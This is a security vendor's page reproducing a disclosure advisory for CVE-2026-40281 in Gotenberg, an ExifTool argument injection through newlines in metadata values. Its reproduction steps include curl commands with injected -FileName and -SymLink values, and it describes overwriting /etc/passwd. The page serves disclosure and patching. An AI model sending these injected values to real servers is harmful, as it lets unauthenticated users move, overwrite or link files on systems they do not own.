Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-40281 — gotenberg

🔴 CVSS 10.0 — Critical ✅ No Known Exploit NVD
10.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

Vulnerability Details

CWE: CWE-20 - Improper Input Validation

The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.

Summary

The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:

```

fmt.Fprintln(e.stdin, "-"+k+"="+str)

```

A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags — the exact tags the key blocklist was designed to prevent.

Root Cause

pkg/modules/exiftool/exiftool.goWriteMetadata() function:

```go

// KEY validation added in v8.30.1 (commit 405f106)

for key := range metadata {

if !safeKeyPattern.MatchString(key) { // ← only keys checked

return fmt.Errorf(...)

}

}

// VALUE passed through unsanitized:

case string:

fileMetadata[0].SetString(key, val) // ← val may contain \n

```

go-exiftool (barasher/go-exiftool) then writes:

```go

fmt.Fprintln(e.stdin, "-"+k+"="+str)

// If str = "test\n-FileName=/tmp/inject_proof"

// ExifTool receives two lines:

// -Title=test

// -FileName=/tmp/inject_proof

```

Steps to Reproduce

```

1. Start Gotenberg:

docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8

2. Create a test PDF:

curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \

-o test.pdf http://localhost:3001/forms/chromium/convert/html \

<<< '<html><body>test</body></html>'

3. Inject -FileName via value newline:

curl -s -w "\nHTTP %{http_code}" \

-F '[email protected];type=application/pdf' \

-F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \

http://localhost:3001/forms/pdfengines/metadata/write

# Returns HTTP 404 (file moved away from temp path)

4. Verify injection inside container:

docker exec gotenberg-test ls -la /tmp/inject_proof

# -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here)

5. Symlink injection:

curl -s -w "\nHTTP %{http_code}" \

-F '[email protected];type=application/pdf' \

-F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \

http://localhost:3001/forms/pdfengines/metadata/write

docker exec gotenberg-test ls -la /tmp/sym_inject

# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf

```

Impact

An unauthenticated attacker can:

1. Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)

2. Overwrite arbitrary files — e.g., -Directory=/etc/ -FileName=passwd injects two lines, moving the PDF to /etc/passwd, corrupting the system user database

3. Create symlinks at arbitrary paths via -SymLink=, enabling subsequent read/write primitives

4. Create hard links via -HardLink=, persisting data beyond temp directory cleanup

This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.

Proposed Fix

Add value sanitization parallel to the existing key check in WriteMetadata:

```go

for key, value := range metadata {

if !safeKeyPattern.MatchString(key) {

return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)

}

if str, ok := value.(string); ok {

if strings.ContainsAny(str, "\n\r\x00") {

return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)

}

}

}

```

Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.

Vulnerable Code

```go

// See description for details

```

Steps to Reproduce

1. Set up the application using the default configuration

2. See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Affected software

CVE-2026-40281 is recorded against 3 packages.

  • github.com/gotenberg/gotenberg/v7
  • github.com/gotenberg/gotenberg/v8
  • gotenberg (fixed in 8.31.0)

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)

Other advisories for this package

github.com/gotenberg/gotenberg/v7 has other advisories on record. If you are patching this one, these are worth checking on the same host:

Details

Severity Critical
CVSS Score 10.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
CWE N/A
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25

Affected Packages

Software From version Fixed in
github.com/gotenberg/gotenberg/v7
github.com/gotenberg/gotenberg/v8
gotenberg 8.31.0

Similar Threats

Exploit Protection

Are you running gotenberg?

CVE-2026-40281 carries CVSS 10.0 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-40281 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026